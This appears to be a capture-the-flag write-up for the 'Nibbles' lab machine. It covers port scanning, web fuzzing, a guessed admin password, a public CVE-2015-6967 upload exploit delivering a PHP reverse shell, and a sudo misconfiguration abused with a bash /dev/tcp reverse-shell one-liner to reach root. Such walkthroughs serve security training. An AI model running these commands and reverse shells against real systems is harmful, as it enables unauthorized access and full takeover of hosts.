Nibbles

Information Gathering

Ports and services

Nmap scan report for 10.10.10.75
Host is up (0.029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access

┌──(me㉿kali)-[~/ctf/nibbles]
└─$ ffuf -u http://10.10.10.75/nibbleblog/FUZZ -w /seclist/Discovery/Web-Content/raft-large-files.txt -t 200 -mc 200
[--SNIP--]
install.php             [Status: 200, Size: 78, Words: 11, Lines: 1, Duration: 46ms]
update.php              [Status: 200, Size: 1622, Words: 103, Lines: 88, Duration: 53ms]
feed.php                [Status: 200, Size: 300, Words: 8, Lines: 8, Duration: 30ms]
sitemap.php             [Status: 200, Size: 401, Words: 33, Lines: 11, Duration: 28ms]
.                       [Status: 200, Size: 2986, Words: 116, Lines: 61, Duration: 31ms]
LICENSE.txt             [Status: 200, Size: 35148, Words: 5836, Lines: 676, Duration: 3721ms]
index.php               [Status: 200, Size: 2986, Words: 116, Lines: 61, Duration: 3730ms]
COPYRIGHT.txt           [Status: 200, Size: 1272, Words: 168, Lines: 27, Duration: 23ms]
admin.php               [Status: 200, Size: 1401, Words: 79, Lines: 27, Duration: 8688ms]

• http://10.10.10.75/nibbleblog/update.php

• http://10.10.10.75/nibbleblog/content/private/

• http://10.10.10.75/nibbleblog/content/private/users.xml

• http://10.10.10.75/nibbleblog/admin.php

guessing : admin : nibbles (same as machine name)

• https://github.com/dix0nym/CVE-2015-6967

• https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

┌──(me㉿kali)-[~/ctf/nibbles/CVE-2015-6967]
└─$ python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload rev.php
[+] Login Successful.
[+] Upload likely successfull.

┌──(me㉿kali)-[~/ctf/nibbles/CVE-2015-6967]
└─$ nc -lnvp 1337                           
listening on [any] 1337 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.75] 34950
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 01:17:50 up 34 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
nibbler
$ 

Privileges Escalation

nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ 

nibbler@Nibbles:/home/nibbler$ ls -la
ls -la
total 20
drwxr-xr-x 3 nibbler nibbler 4096 May  7 01:22 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 May  7 00:43 user.txt
nibbler@Nibbles:/home/nibbler$ 

nibbler@Nibbles:/home/nibbler$ mkdir personal
nibbler@Nibbles:/home/nibbler$ cd personal
nibbler@Nibbles:/home/nibbler/personal$ mkdir stuff
nibbler@Nibbles:/home/nibbler/personal$ cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.9/1337 0>&1'" > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh

┌──(me㉿kali)-[~/ctf/nibbles/CVE-2015-6967]
└─$ nc -lnvp 1337                           
listening on [any] 1337 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.75] 34952
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Nibbles:/home/nibbler/personal/stuff#